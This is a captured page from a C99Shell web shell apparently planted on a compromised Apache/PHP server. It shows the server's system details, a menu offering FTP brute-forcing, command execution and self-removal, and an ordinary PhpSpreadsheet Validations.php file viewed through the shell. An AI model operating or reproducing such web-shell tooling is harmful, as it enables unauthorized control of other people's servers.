!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Validations.php (4.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Worksheet;

use 
PhpOffice\PhpSpreadsheet\Cell\AddressRange;
use 
PhpOffice\PhpSpreadsheet\Cell\CellAddress;
use 
PhpOffice\PhpSpreadsheet\Cell\CellRange;
use 
PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException;

class 
Validations
{
    
/**
     * Validate a cell address.
     *
     * @param null|array<int>|CellAddress|string $cellAddress Coordinate of the cell as a string, eg: 'C5';
     *               or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object.
     */
    
public static function validateCellAddress($cellAddress): string
    
{
        if (
is_string($cellAddress)) {
            [
$worksheet$address] = Worksheet::extractSheetTitle($cellAddresstrue);
//            if (!empty($worksheet) && $worksheet !== $this->getTitle()) {
//                throw new Exception('Reference is not for this worksheet');
//            }

            
return empty($worksheet) ? strtoupper("$address") : $worksheet '!' strtoupper("$address");
        }

        if (
is_array($cellAddress)) {
            
$cellAddress CellAddress::fromColumnRowArray($cellAddress);
        }

        return (string) 
$cellAddress;
    }

    
/**
     * Validate a cell address or cell range.
     *
     * @param AddressRange|array<int>|CellAddress|int|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
     *               or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]),
     *               or as a CellAddress or AddressRange object.
     */
    
public static function validateCellOrCellRange($cellRange): string
    
{
        if (
is_string($cellRange) || is_numeric($cellRange)) {
            
// Convert a single column reference like 'A' to 'A:A',
            //    a single row reference like '1' to '1:1'
            
$cellRange = (string) preg_replace('/^([A-Z]+|\d+)$/''${1}:${1}', (string) $cellRange);
        } elseif (
is_object($cellRange) && $cellRange instanceof CellAddress) {
            
$cellRange = new CellRange($cellRange$cellRange);
        }

        return 
self::validateCellRange($cellRange);
    }

    
/**
     * Validate a cell range.
     *
     * @param AddressRange|array<int>|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
     *               or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]),
     *               or as an AddressRange object.
     */
    
public static function validateCellRange($cellRange): string
    
{
        if (
is_string($cellRange)) {
            [
$worksheet$addressRange] = Worksheet::extractSheetTitle($cellRangetrue);

            
// Convert Column ranges like 'A:C' to 'A1:C1048576'
            //      or Row ranges like '1:3' to 'A1:XFD3'
            
$addressRange = (string) preg_replace(
                [
'/^([A-Z]+):([A-Z]+)$/i''/^(\\d+):(\\d+)$/'],
                [
'${1}1:${2}1048576''A${1}:XFD${2}'],
                
$addressRange
            
);

            return empty(
$worksheet) ? strtoupper($addressRange) : $worksheet '!' strtoupper($addressRange);
        }

        if (
is_array($cellRange)) {
            switch (
count($cellRange)) {
                case 
2:
                    
$from = [$cellRange[0], $cellRange[1]];
                    
$to = [$cellRange[0], $cellRange[1]];

                    break;
                case 
4:
                    
$from = [$cellRange[0], $cellRange[1]];
                    
$to = [$cellRange[2], $cellRange[3]];

                    break;
                default:
                    throw new 
SpreadsheetException('CellRange array length must be 2 or 4');
            }
            
$cellRange = new CellRange(CellAddress::fromColumnRowArray($from), CellAddress::fromColumnRowArray($to));
        }

        return (string) 
$cellRange;
    }

    public static function 
definedNameToCoordinate(string $coordinateWorksheet $worksheet): string
    
{
        
// Uppercase coordinate
        
$coordinate strtoupper($coordinate);
        
// Eliminate leading equal sign
        
$testCoordinate = (string) preg_replace('/^=/'''$coordinate);
        
$defined $worksheet->getParentOrThrow()->getDefinedName($testCoordinate$worksheet);
        if (
$defined !== null) {
            if (
$defined->getWorksheet() === $worksheet && !$defined->isFormula()) {
                
$coordinate = (string) preg_replace('/^=/'''$defined->getValue());
            }
        }

        return 
$coordinate;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--